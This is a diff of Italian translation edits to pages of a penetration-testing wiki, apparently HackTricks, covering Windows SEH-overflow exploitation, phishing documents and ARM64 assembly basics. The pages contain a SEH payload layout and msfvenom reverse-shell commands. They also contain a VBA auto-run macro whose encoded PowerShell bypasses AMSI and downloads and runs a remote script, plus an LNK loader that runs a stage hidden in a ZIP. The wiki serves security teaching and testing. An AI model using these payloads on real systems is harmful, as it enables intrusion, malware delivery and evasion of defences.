+- 64bit, ASLR con stack address leak, scrivi shellcode e salta a esso
 - [https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html)
-- 32 bit, ASLR con stack leak, scrivi shellcode e fai jump ad esso
+- 32 bit, ASLR con stack leak, scrivi shellcode e salta a esso
 - [https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html)
-- 32 bit, ASLR con stack leak, confronto per prevenire la chiamata a exit(), sovrascrivi una variabile con un valore, scrivi shellcode e fai jump ad esso
+- 32 bit, ASLR con stack leak, confronto per evitare la chiamata a exit(), sovrascrivere una variabile con un valore, scrivere shellcode e saltare a esso
 - [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
-- arm64, no ASLR, gadget ROP per rendere lo stack eseguibile e saltare al shellcode nello stack
+- arm64, no ASLR, ROP gadget per rendere lo stack eseguibile e saltare al shellcode nello stack
 
 
-## Riferimenti
+## References
 
 - [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE)](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)
 - [VirtualAlloc documentation](https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc)

src/binary-exploitation/stack-overflow/windows-seh-overflow.md

@@ -2,26 +2,26 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-SEH-based exploitation è una tecnica classica per Windows x86 che sfrutta la catena dello Structured Exception Handler memorizzata nello stack. Quando un stack buffer overflow sovrascrive i due campi da 4 byte
+SEH-based exploitation è una tecnica classica di Windows x86 che abusa della catena Structured Exception Handler memorizzata nello stack. Quando un stack buffer overflow sovrascrive i due campi da 4 byte
 
-- nSEH: pointer to the next SEH record, and
-- SEH: pointer to the exception handler function
+- nSEH: puntatore al record SEH successivo, e
+- SEH: puntatore alla funzione di gestione dell'eccezione
 
 un attacker può prendere il controllo dell'esecuzione tramite:
 
-1) Impostare SEH all'indirizzo di un gadget POP POP RET in un modulo non protetto, così che quando viene dispatchata un'eccezione il gadget torni in byte controllati dall'attacker, e
-2) Usare nSEH per reindirizzare l'esecuzione (tipicamente un short jump) indietro nel grande buffer overflow dove risiede lo shellcode.
+1) Impostare SEH all'indirizzo di un gadget POP POP RET in un modulo non protetto, così che quando viene scatenata un'eccezione il gadget ritorni su byte controllati dall'attacker, e
+2) Usare nSEH per reindirizzare l'esecuzione (tipicamente con un short jump) indietro nel grande buffer di overflow dove risiede lo shellcode.
 
-Questa tecnica è specifica per processi a 32-bit (x86). Su sistemi moderni, preferire un modulo senza SafeSEH e ASLR per il gadget. I bad characters spesso includono 0x00, 0x0a, 0x0d (NUL/CR/LF) a causa di C-strings e HTTP parsing.
+Questa tecnica è specifica per processi a 32-bit (x86). Su sistemi moderni, preferire un modulo senza SafeSEH e ASLR per il gadget. I bad characters spesso includono 0x00, 0x0a, 0x0d (NUL/CR/LF) a causa di C-strings e parsing HTTP.
 
 ---
 
-## Trovare offset esatti (nSEH / SEH)
+## Finding exact offsets (nSEH / SEH)
 
-- Causare il crash del processo e verificare che la catena SEH sia stata sovrascritta (es., in x32dbg/x64dbg, controllare la SEH view).
+- Mandare in crash il processo e verificare che la catena SEH sia sovrascritta (es., in x32dbg/x64dbg, controllare la SEH view).
 - Inviare un pattern ciclico come dati di overflow e calcolare gli offset dei due dword che finiscono in nSEH e SEH.
 
-Esempio con peda/GEF/pwntools su un body POST di 1000 byte:
+Example with peda/GEF/pwntools on a 1000-byte POST body:
 ```bash
 # generate pattern (any tool is fine)
 /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000
@@ -33,16 +33,16 @@ python3 -c "from pwn import *; print(cyclic(1000).decode())"
 /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x41484241   # SEH
 # ➜ offsets example: nSEH=660, SEH=664
 ```
-Valida posizionando dei marker in quelle posizioni (es., nSEH=b"BB", SEH=b"CC"). Mantieni la lunghezza totale costante per rendere il crash riproducibile.
+Verifica piazzando marker in quelle posizioni (es., nSEH=b"BB", SEH=b"CC"). Mantieni la lunghezza totale costante per rendere il crash riproducibile.
 
 ---
 
 ## Scelta di un POP POP RET (SEH gadget)
 
-Ti serve una sequenza POP POP RET per eseguire l'unwind del frame SEH e tornare ai byte nSEH. Cercala in un modulo senza SafeSEH e idealmente senza ASLR:
+Hai bisogno di una sequenza POP POP RET per unwindare il frame SEH e ritornare nei tuoi byte nSEH. Cercala in un modulo senza SafeSEH e idealmente senza ASLR:
 
 - Mona (Immunity/WinDbg): `!mona modules` poi `!mona seh -m modulename`.
-- x64dbg plugin ERC.Xdbg: `ERC --SEH` per elencare POP POP RET gadgets e lo stato di SafeSEH.
+- x64dbg plugin ERC.Xdbg: `ERC --SEH` per elencare i POP POP RET gadgets e lo stato di SafeSEH.
 
 Scegli un indirizzo che non contenga badchars quando scritto little-endian (es., `p32(0x004094D8)`). Preferisci gadget all'interno del binario vulnerabile se le protezioni lo permettono.
 
@@ -50,7 +50,7 @@ Scegli un indirizzo che non contenga badchars quando scritto little-endian (es.,
 
 ## Tecnica di jump-back (short + near jmp)
 
-nSEH è lungo solo 4 byte, che può contenere al massimo un short jump di 2 byte (`EB xx`) più padding. Se devi saltare indietro di centinaia di byte per raggiungere l'inizio del buffer, usa un near jump di 5 byte posizionato subito prima di nSEH e collegalo con un short jump da nSEH.
+nSEH è solo 4 byte, che ospitano al massimo un short jump di 2 byte (`EB xx`) più padding. Se devi saltare indietro di centinaia di byte per raggiungere l'inizio del tuo buffer, usa un near jump di 5 byte posizionato subito prima di nSEH e collegalo con un short jump da nSEH.
 
 Con nasmshell:
 ```text
@@ -61,7 +61,7 @@ EBF6
 nasm> jmp -652           ; 8 bytes closer (to account for short-jmp hop)
 E96FFDFFFF
 ```
-Idea di layout per un payload di 1000 byte con nSEH all'offset 660:
+Idea di layout per un payload da 1000 byte con nSEH all'offset 660:
 ```python
 buffer_length = 1000
 payload  = b"\x90"*50 + shellcode                    # NOP sled + shellcode at buffer start
@@ -72,16 +72,16 @@ payload += p32(0x004094D8)                           # SEH: POP POP RET (no badc
 payload += b"D" * (buffer_length - len(payload))
 ```
 Flusso di esecuzione:
-- Si verifica un'eccezione e il dispatcher utilizza la SEH sovrascritta.
-- POP POP RET effettua l'unwind verso il nostro nSEH.
-- nSEH esegue `jmp short -8` entrando nel near jump di 5 byte.
-- Il near jump atterra all'inizio del nostro buffer dove risiedono il NOP sled + shellcode.
+- Si verifica un'eccezione, il dispatcher utilizza lo SEH sovrascritto.
+- POP POP RET provoca lo srotolamento dello stack verso il nostro nSEH.
+- Il nSEH esegue `jmp short -8` verso il near jump di 5 byte.
+- Il near jump atterra all'inizio del nostro buffer, dove risiedono il NOP sled + shellcode.
 
 ---
 
 ## Caratteri problematici
 
-Costruisci una stringa completa di badchar e confronta la memoria dello stack dopo il crash, rimuovendo i byte che vengono alterati dal parser del target. Per gli overflow basati su HTTP, `\x00\x0a\x0d` sono quasi sempre esclusi.
+Costruisci una stringa badchar completa e confronta la memoria dello stack dopo il crash, rimuovendo i byte che vengono corrotti dal parser del bersaglio. Per gli overflow basati su HTTP, `\x00\x0a\x0d` sono quasi sempre esclusi.
 ```python
 badchars = bytes([x for x in range(1,256)])
 payload  = b"A"*660 + b"BBBB" + b"CCCC" + badchars  # position appropriately for your case
@@ -90,21 +90,19 @@ payload  = b"A"*660 + b"BBBB" + b"CCCC" + badchars  # position appropriately for
 
 ## Shellcode generation (x86)
 
-Usa msfvenom con i tuoi badchars. Un piccolo NOP sled aiuta a tollerare le variazioni di posizionamento.
+Usa msfvenom con i tuoi badchars. Un piccolo NOP sled aiuta a tollerare la variabilità dell'atterraggio.
 ```bash
 msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> \
 -b "\x00\x0a\x0d" -f python -v sc
 ```
-Se generato al volo, il formato hex è comodo da incorporare e per l'unhex in Python:
+Se generato al volo, il formato hex è comodo da incorporare e per unhex in Python:
 ```bash
 msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> \
 -b "\x00\x0a\x0d" -f hex
 ```
----
-
 ## Consegna via HTTP (CRLF precisi + Content-Length)
 
-Quando il vettore vulnerabile è un HTTP request body, costruisci una raw request con CRLF esatti e Content-Length corretta in modo che il server legga l'intero corpo in overflow.
+Quando il vettore vulnerabile è l'HTTP request body, crea una raw request con CRLF esatti e Content-Length correttamente impostato, in modo che il server legga l'intero overflowing body.
 ```python
 # pip install pwntools
 from pwn import remote
@@ -127,21 +125,21 @@ p.close()
 
 ## Strumenti
 
-- x32dbg/x64dbg per osservare la catena SEH e analizzare il crash.
-- ERC.Xdbg (x64dbg plugin) per enumerare SEH gadgets: `ERC --SEH`.
-- Mona come alternativa: `!mona modules`, `!mona seh`.
-- nasmshell per assemblare short/near jumps e copiare raw opcodes.
-- pwntools per creare payload di rete precisi.
+- x32dbg/x64dbg to observe SEH chain and triage the crash.
+- ERC.Xdbg (x64dbg plugin) to enumerate SEH gadgets: `ERC --SEH`.
+- Mona as an alternative: `!mona modules`, `!mona seh`.
+- nasmshell to assemble short/near jumps and copy raw opcodes.
+- pwntools to craft precise network payloads.
 
 ---
 
 ## Note e avvertenze
 
-- Si applica solo ai processi x86. x64 usa uno schema SEH diverso e lo sfruttamento basato su SEH generalmente non è praticabile.
-- Preferire gadget in moduli senza SafeSEH e ASLR; altrimenti, trovare un modulo non protetto caricato nel processo.
-- I watchdog di servizio che riavviano automaticamente dopo un crash possono facilitare lo sviluppo iterativo dell'exploit.
+- Si applica solo ai processi x86. x64 utilizza uno schema SEH diverso e lo sfruttamento basato su SEH generalmente non è praticabile.
+- Preferire gadget in moduli senza SafeSEH e ASLR; altrimenti trovare un modulo non protetto caricato nel processo.
+- I service watchdog che riavviano automaticamente al crash possono facilitare lo sviluppo iterativo dell'exploit.
 
-## Riferimenti
+## References
 - [HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf)](https://0xdf.gitlab.io/2025/08/07/htb-rainbow.html)
 - [ERC.Xdbg – Exploit Research Plugin for x64dbg (SEH search)](https://github.com/Andy53/ERC.Xdbg)
 - [Corelan – Exploit writing tutorial part 7 (SEH)](https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-7-unicode-0day-buffer-overflow-seh-and-venetian-shellcode/)

src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md

@@ -1,40 +1,40 @@
-# Phishing Files & Documents
+# File e documenti di Phishing
 
 {{#include ../../banners/hacktricks-training.md}}
 
 ## Documenti Office
 
-Microsoft Word esegue la validazione dei dati del file prima di aprirlo. La validazione dei dati viene effettuata tramite l'identificazione della struttura dei dati, in conformità allo standard OfficeOpenXML. Se si verifica un errore durante l'identificazione della struttura dei dati, il file analizzato non verrà aperto.
+Microsoft Word esegue la convalida dei dati del file prima di aprirlo. La convalida dei dati avviene tramite l'identificazione della struttura dei dati, secondo lo standard OfficeOpenXML. Se si verifica un errore durante l'identificazione della struttura dei dati, il file in fase di analisi non verrà aperto.
 
-Di norma, i file Word che contengono macros usano l'estensione `.docm`. Tuttavia, è possibile rinominare il file cambiandone l'estensione e mantenere comunque la capacità di eseguire macros.  
-Per esempio, un file RTF non supporta macros, per progettazione, ma un file DOCM rinominato in RTF sarà gestito da Microsoft Word e sarà in grado di eseguire macros.  
-Gli stessi dettagli interni e meccanismi si applicano a tutto il software della Microsoft Office Suite (Excel, PowerPoint ecc.).
+Di solito, i file Word contenenti macro usano l'estensione `.docm`. Tuttavia, è possibile rinominare il file cambiando l'estensione e mantenere comunque la capacità di eseguire le macro.\
+Ad esempio, un file RTF non supporta le macro, per progettazione, ma un file DOCM rinominato in RTF verrà gestito da Microsoft Word e sarà in grado di eseguire macro.\
+Gli stessi meccanismi interni si applicano a tutto il software della Microsoft Office Suite (Excel, PowerPoint ecc.).
 
-È possibile utilizzare il seguente comando per verificare quali estensioni verranno eseguite da alcuni programmi Office:
+Puoi usare il seguente comando per verificare quali estensioni verranno eseguite da alcuni programmi Office:
 ```bash
 assoc | findstr /i "word excel powerp"
 ```
-I file DOCX che fanno riferimento a un template remoto (File –Options –Add-ins –Manage: Templates –Go) che include macros possono anch'essi “eseguire” macros.
+I file DOCX che fanno riferimento a un template remoto (File – Opzioni – Componenti aggiuntivi – Gestisci: Modelli – Vai) che include macro possono “eseguire” macro a loro volta.
 
-### Caricamento immagine esterna
+### Caricamento Immagine Esterna
 
-Vai a: _Insert --> Quick Parts --> Field_\
-_**Categories**: Collegamenti e Riferimenti, **Nomi dei campi**: includePicture, and **Nome file o URL**:_ http://<ip>/whatever
+Vai a: _Inserisci --> Parti rapide --> Campo_\
+_**Categorie**: Links and References, **Filed names**: includePicture, and **Filename or URL**:_ http://<ip>/whatever
 
 ![](<../../images/image (155).png>)
 
-### Backdoor tramite macros
+### Backdoor tramite macro
 
-È possibile usare macros per eseguire codice arbitrario dal documento.
+È possibile usare le macro per eseguire codice arbitrario dal documento.
 
-#### Funzioni Autoload
+#### Autoload functions
 
 Più sono comuni, più è probabile che l'AV le rilevi.
 
 - AutoOpen()
 - Document_Open()
 
-#### Esempi di codice per macros
+#### Esempi di codice macro
 ```vba
 Sub AutoOpen()
 CreateObject("WScript.Shell").Exec ("powershell.exe -nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=")
@@ -66,24 +66,24 @@ proc.Create "powershell <beacon line generated>
 ```
 #### Rimuovere manualmente i metadati
 
-Fo to **File > Info > Inspect Document > Inspect Document**, che aprirà il Document Inspector. Clicca **Inspect** e poi **Remove All** accanto a **Document Properties and Personal Information**.
+Vai a **File > Info > Inspect Document > Inspect Document**, che aprirà il Document Inspector. Clicca **Inspect** e poi **Remove All** accanto a **Document Properties and Personal Information**.
 
 #### Estensione del documento
 
-Quando hai finito, seleziona il menu a discesa **Save as type**, cambia il formato da **`.docx`** a Word 97-2003 **`.doc`**.\
-Fallo perché non **puoi** salvare macro's dentro un **`.docx`** e c'è uno **stigma** **attorno** all'estensione macro-enabled **`.docm`** (es. l'icona in miniatura ha un enorme `!` e alcuni gateway web/email le bloccano completamente). Pertanto, questa estensione legacy **`.doc`** è il miglior compromesso.
+When finished, select **Save as type** dropdown, change the format from **`.docx`** to **Word 97-2003 `.doc`**.\
+Fallo perché non puoi salvare macro dentro un **`.docx`** e c'è uno stigma intorno all'estensione macro-enabled **`.docm`** (ad es. l'icona in miniatura mostra un enorme `!` e alcuni gateway web/email le bloccano completamente). Pertanto, questa estensione legacy **`.doc`** è il miglior compromesso.
 
-#### Malicious Macros Generators
+#### Generatori di Macro Maligne
 
 - MacOS
 - [**macphish**](https://github.com/cldrn/macphish)
 - [**Mythic Macro Generator**](https://github.com/cedowens/Mythic-Macro-Generator)
 
-## HTA Files
+## File HTA
 
-Un HTA è un programma Windows che **combina HTML e linguaggi di scripting (come VBScript e JScript)**. Genera l'interfaccia utente ed esegue come un'applicazione "fully trusted", senza i vincoli del modello di sicurezza di un browser.
+An HTA is a Windows program that **combines HTML and scripting languages (such as VBScript and JScript)**. It generates the user interface and executes as a "fully trusted" application, without the constraints of a browser's security model.
 
-Un HTA viene eseguito usando **`mshta.exe`**, che di solito è **installato** insieme a **Internet Explorer**, rendendo **`mshta` dipendente da IE**. Quindi, se IE è stato disinstallato, gli HTA non saranno in grado di eseguire.
+Un HTA viene eseguito usando **`mshta.exe`**, che è tipicamente **installato** insieme a **Internet Explorer**, rendendo **`mshta` dipendente da IE**. Quindi, se è stato disinstallato, le HTA non potranno essere eseguite.
 ```html
 <--! Basic HTA Execution -->
 <html>
@@ -140,9 +140,9 @@ self.close
 ```
 ## Forzare l'autenticazione NTLM
 
-Esistono diversi modi per **forzare l'autenticazione NTLM "da remoto"**, per esempio, potresti aggiungere **immagini invisibili** a email o HTML a cui l'utente accederà (anche HTTP MitM?). Oppure inviare alla vittima l'**indirizzo di file** che **innescheranno** un'**autenticazione** semplicemente aprendo la cartella.
+Esistono diversi modi per **forzare l'autenticazione NTLM "remotamente"**, per esempio puoi aggiungere **immagini invisibili** in email o in HTML che l'utente aprirà (anche HTTP MitM?). Oppure inviare alla vittima l'**indirizzo di file** che **innescheranno** un'**autenticazione** solo aprendo la cartella.
 
-**Controlla queste idee e altre nelle seguenti pagine:**
+**Vedi queste idee e altre nelle pagine seguenti:**
 
 
 {{#ref}}
@@ -156,24 +156,24 @@ Esistono diversi modi per **forzare l'autenticazione NTLM "da remoto"**, per ese
 
 ### NTLM Relay
 
-Non dimenticare che non si può solo rubare l'hash o l'autenticazione, ma si può anche eseguire NTLM relay attacks:
+Non dimenticare che non puoi soltanto rubare l'hash o l'autenticazione ma anche **eseguire NTLM relay attacks**:
 
 - [**NTLM Relay attacks**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack)
 - [**AD CS ESC8 (NTLM relay to certificates)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8)
 
 ## LNK Loaders + ZIP-Embedded Payloads (fileless chain)
 
-Campagne altamente efficaci consegnano uno ZIP che contiene due documenti esca legittimi (PDF/DOCX) e un .lnk malevolo. Il trucco è che il reale PowerShell loader è memorizzato all'interno dei byte grezzi dello ZIP dopo un marker unico, e il .lnk lo estrae ed esegue completamente in memoria.
+Campagne altamente efficaci consegnano uno ZIP che contiene due documenti esca legittimi (PDF/DOCX) e un .lnk malevolo. Il trucco è che il vero loader PowerShell è memorizzato all'interno dei byte grezzi dello ZIP dopo un marker unico, e il .lnk lo estrae e lo esegue completamente in memoria.
 
-Flusso tipico implementato dalla one-liner PowerShell nel .lnk:
+Flusso tipico implementato dal one-liner PowerShell del .lnk:
 
-1) Individuare lo ZIP originale in percorsi comuni: Desktop, Downloads, Documents, %TEMP%, %ProgramData%, e la cartella superiore della directory di lavoro corrente.
-2) Leggere i byte dello ZIP e trovare un marker hardcoded (es., xFIQCV). Tutto ciò che segue il marker è il PowerShell payload incorporato.
+1) Individuare lo ZIP originale in percorsi comuni: Desktop, Downloads, Documents, %TEMP%, %ProgramData%, e la cartella padre della working directory corrente.
+2) Leggere i byte dello ZIP e trovare un marker hardcoded (es., xFIQCV). Tutto ciò che segue il marker è il payload PowerShell incorporato.
 3) Copiare lo ZIP in %ProgramData%, estrarlo lì, e aprire il .docx esca per apparire legittimo.
 4) Bypassare AMSI per il processo corrente: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true
-5) Deoffuscare la fase successiva (es., rimuovere tutti i caratteri #) ed eseguirla in memoria.
+5) Deoffuscare la fase successiva (es., rimuovere tutti i caratteri '#') ed eseguirla in memoria.
 
-Esempio di skeleton PowerShell per estrarre ed eseguire la fase incorporata:
+Esempio di scheletro PowerShell per estrarre ed eseguire la fase incorporata:
 ```powershell
 $marker   = [Text.Encoding]::ASCII.GetBytes('xFIQCV')
 $paths    = @(
@@ -191,21 +191,21 @@ $code  = [Text.Encoding]::UTF8.GetString($stage) -replace '#',''
 Invoke-Expression $code
 ```
 Note
-- La delivery spesso abusa di sottodomini PaaS di buona reputazione (es., *.herokuapp.com) e può filtrare i payload (fornire ZIP benigni in base a IP/UA).
-- La fase successiva frequentemente decripta base64/XOR shellcode ed esegue tramite Reflection.Emit + VirtualAlloc per minimizzare gli artefatti su disco.
+- La delivery spesso abusa di sottodomini PaaS affidabili (es., *.herokuapp.com) e può limitare i payload (servire ZIP benigni in base a IP/UA).
+- La fase successiva frequentemente decripta base64/XOR shellcode ed esegue il codice tramite Reflection.Emit + VirtualAlloc per minimizzare gli artefatti su disco.
 
-Persistence usata nella stessa catena
+Persistenza utilizzata nella stessa catena
 - COM TypeLib hijacking del Microsoft Web Browser control in modo che IE/Explorer o qualsiasi app che lo incorpora rilanci automaticamente il payload. Vedi dettagli e comandi pronti all'uso qui:
 
 {{#ref}}
 ../../windows-hardening/windows-local-privilege-escalation/com-hijacking.md
 {{#endref}}
 
-Hunting/IOCs
-- ZIP files contenenti la stringa marker ASCII (es., xFIQCV) aggiunta ai dati dell'archivio.
-- .lnk che enumera le cartelle genitore/utente per localizzare lo ZIP e apre un documento esca.
-- Manomissione di AMSI via [System.Management.Automation.AmsiUtils]::amsiInitFailed.
-- Thread aziendali a lunga esecuzione che terminano con link ospitati su domini PaaS affidabili.
+Rilevamento/IOCs
+- File ZIP contenenti la stringa marker ASCII (es., xFIQCV) aggiunta ai dati dell'archivio.
+- .lnk che enumera cartelle genitore/utente per localizzare lo ZIP e apre un documento esca.
+- Manomissione di AMSI tramite [System.Management.Automation.AmsiUtils]::amsiInitFailed.
+- Thread di business a lunga esecuzione che terminano con link ospitati su domini PaaS affidabili.
 
 ## Riferimenti
 

src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md

@@ -1,255 +1,258 @@
-# Introduzione all'ARM64v8
+# Introduzione ad ARM64v8
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-## **Livelli di Eccezione - EL (ARM64v8)**
+## **Livelli di eccezione - EL (ARM64v8)**
 
-Nell'architettura ARMv8, i livelli di esecuzione, noti come Livelli di Eccezione (EL), definiscono il livello di privilegio e le capacità dell'ambiente di esecuzione. Ci sono quattro livelli di eccezione, che vanno da EL0 a EL3, ognuno con uno scopo diverso:
+Nell'architettura ARMv8, i livelli di esecuzione, noti come Exception Levels (EL), definiscono il livello di privilegi e le capacità dell'ambiente di esecuzione. Ci sono quattro livelli di eccezione, che vanno da EL0 a EL3, ognuno con uno scopo diverso:
 
-1. **EL0 - Modalità Utente**:
-- Questo è il livello meno privilegiato ed è utilizzato per eseguire codice di applicazione regolare.
-- Le applicazioni che girano a EL0 sono isolate l'una dall'altra e dal software di sistema, migliorando la sicurezza e la stabilità.
-2. **EL1 - Modalità Kernel del Sistema Operativo**:
-- La maggior parte dei kernel dei sistemi operativi gira a questo livello.
-- EL1 ha più privilegi di EL0 e può accedere alle risorse di sistema, ma con alcune restrizioni per garantire l'integrità del sistema.
-3. **EL2 - Modalità Hypervisor**:
-- Questo livello è utilizzato per la virtualizzazione. Un hypervisor che gira a EL2 può gestire più sistemi operativi (ciascuno nel proprio EL1) che girano sullo stesso hardware fisico.
+1. **EL0 - User Mode**:
+- Questo è il livello meno privilegiato ed è usato per eseguire codice applicativo normale.
+- Le applicazioni che girano in EL0 sono isolate l'una dall'altra e dal software di sistema, migliorando sicurezza e stabilità.
+2. **EL1 - Operating System Kernel Mode**:
+- La maggior parte dei kernel degli OS gira a questo livello.
+- EL1 ha più privilegi rispetto a EL0 e può accedere a risorse di sistema, ma con alcune restrizioni per garantire l'integrità del sistema.
+3. **EL2 - Hypervisor Mode**:
+- Questo livello è usato per la virtualizzazione. Un hypervisor che gira in EL2 può gestire più sistemi operativi (ognuno nel proprio EL1) sullo stesso hardware fisico.
 - EL2 fornisce funzionalità per l'isolamento e il controllo degli ambienti virtualizzati.
-4. **EL3 - Modalità Monitor Sicuro**:
-- Questo è il livello più privilegiato ed è spesso utilizzato per l'avvio sicuro e gli ambienti di esecuzione fidati.
-- EL3 può gestire e controllare gli accessi tra stati sicuri e non sicuri (come l'avvio sicuro, OS fidato, ecc.).
+4. **EL3 - Secure Monitor Mode**:
+- Questo è il livello più privilegiato ed è spesso usato per secure boot e ambienti di esecuzione fidati.
+- EL3 può gestire e controllare gli accessi tra stati secure e non-secure (come secure boot, trusted OS, ecc.).
 
-L'uso di questi livelli consente un modo strutturato e sicuro per gestire diversi aspetti del sistema, dalle applicazioni utente al software di sistema più privilegiato. L'approccio di ARMv8 ai livelli di privilegio aiuta a isolare efficacemente i diversi componenti del sistema, migliorando così la sicurezza e la robustezza del sistema.
+L'uso di questi livelli permette un modo strutturato e sicuro per gestire i diversi aspetti del sistema, dalle applicazioni utente al software di sistema più privilegiato. L'approccio di ARMv8 ai livelli di privilegio aiuta a isolare efficacemente i diversi componenti del sistema, migliorando la sicurezza e la robustezza.
 
-## **Registri (ARM64v8)**
+## **Registers (ARM64v8)**
 
-ARM64 ha **31 registri a uso generale**, etichettati da `x0` a `x30`. Ognuno può memorizzare un valore **a 64 bit** (8 byte). Per le operazioni che richiedono solo valori a 32 bit, gli stessi registri possono essere accessibili in modalità a 32 bit utilizzando i nomi w0 a w30.
+ARM64 ha **31 registri generali**, etichettati `x0` fino a `x30`. Ognuno può contenere un valore **64-bit** (8 byte). Per operazioni che richiedono solo valori a 32-bit, gli stessi registri possono essere accessi in modalità 32-bit usando i nomi `w0` fino a `w30`.
 
-1. **`x0`** a **`x7`** - Questi sono tipicamente utilizzati come registri temporanei e per passare parametri a sottoprogrammi.
-- **`x0`** porta anche i dati di ritorno di una funzione.
-2. **`x8`** - Nel kernel Linux, `x8` è utilizzato come numero di chiamata di sistema per l'istruzione `svc`. **In macOS è `x16` quello utilizzato!**
-3. **`x9`** a **`x15`** - Altri registri temporanei, spesso utilizzati per variabili locali.
-4. **`x16`** e **`x17`** - **Registri di Chiamata Intra-procedurale**. Registri temporanei per valori immediati. Sono anche utilizzati per chiamate di funzione indirette e stub della PLT (Procedure Linkage Table).
-- **`x16`** è utilizzato come **numero di chiamata di sistema** per l'istruzione **`svc`** in **macOS**.
-5. **`x18`** - **Registro della piattaforma**. Può essere utilizzato come registro a uso generale, ma su alcune piattaforme, questo registro è riservato per usi specifici della piattaforma: Puntatore al blocco di ambiente del thread locale in Windows, o per puntare alla struttura del task attualmente **in esecuzione nel kernel linux**.
-6. **`x19`** a **`x28`** - Questi sono registri salvati dal chiamato. Una funzione deve preservare i valori di questi registri per il suo chiamante, quindi vengono memorizzati nello stack e recuperati prima di tornare al chiamante.
-7. **`x29`** - **Puntatore di Frame** per tenere traccia del frame dello stack. Quando viene creato un nuovo frame dello stack a causa di una chiamata di funzione, il registro **`x29`** è **memorizzato nello stack** e il **nuovo** indirizzo del puntatore di frame è (**indirizzo `sp`**) **memorizzato in questo registro**.
-- Questo registro può anche essere utilizzato come **registro a uso generale** anche se di solito è usato come riferimento a **variabili locali**.
-8. **`x30`** o **`lr`** - **Registro di Link**. Tiene l'**indirizzo di ritorno** quando viene eseguita un'istruzione `BL` (Branch with Link) o `BLR` (Branch with Link to Register) memorizzando il valore **`pc`** in questo registro.
-- Può anche essere utilizzato come qualsiasi altro registro.
-- Se la funzione corrente sta per chiamare una nuova funzione e quindi sovrascrivere `lr`, lo memorizzerà nello stack all'inizio, questo è l'epilogo (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> Memorizza `fp` e `lr`, genera spazio e ottiene un nuovo `fp`) e lo recupera alla fine, questo è il prologo (`ldp x29, x30, [sp], #48; ret` -> Recupera `fp` e `lr` e ritorna).
-9. **`sp`** - **Puntatore dello Stack**, utilizzato per tenere traccia della cima dello stack.
-- il valore **`sp`** dovrebbe sempre essere mantenuto almeno a un **allineamento** **quadword** o potrebbe verificarsi un'eccezione di allineamento.
-10. **`pc`** - **Contatore di Programma**, che punta alla prossima istruzione. Questo registro può essere aggiornato solo attraverso generazioni di eccezione, ritorni di eccezione e salti. Le uniche istruzioni ordinarie che possono leggere questo registro sono le istruzioni di salto con link (BL, BLR) per memorizzare l'indirizzo **`pc`** in **`lr`** (Link Register).
-11. **`xzr`** - **Registro Zero**. Chiamato anche **`wzr`** nella sua forma di registro **a 32** bit. Può essere utilizzato per ottenere facilmente il valore zero (operazione comune) o per eseguire confronti utilizzando **`subs`** come **`subs XZR, Xn, #10`** memorizzando i dati risultanti da nessuna parte (in **`xzr`**).
+1. **`x0`** a **`x7`** - Tipicamente usati come registri temporanei e per passare parametri a sottoprocedure.
+- **`x0`** inoltre contiene i dati di ritorno di una funzione
+2. **`x8`** - Nel kernel Linux, `x8` è usato come numero di system call per l'istruzione `svc`. **In macOS l'x16 è quello usato!**
+3. **`x9`** a **`x15`** - Altri registri temporanei, spesso usati per variabili locali.
